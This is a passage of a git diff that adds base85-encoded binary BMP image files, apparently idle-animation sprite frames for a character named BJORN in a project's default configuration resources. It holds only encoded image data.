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 WaaP9nJ@8vd&j0;<>sz>G%l`t;U4B3S literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp new file mode 100644 index 0000000000000000000000000000000000000000..182c193de325de3cb976ac63cb1160cda506d181 GIT binary patch literal 18462 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 U*KhxaS--v^{|{>Z|Hb-$0ho3YA^-pY literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp new file mode 100644 index 0000000000000000000000000000000000000000..dbcade0cba3966e89be3dbf7d7ae2e20a9d22709 GIT binary patch literal 18462 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 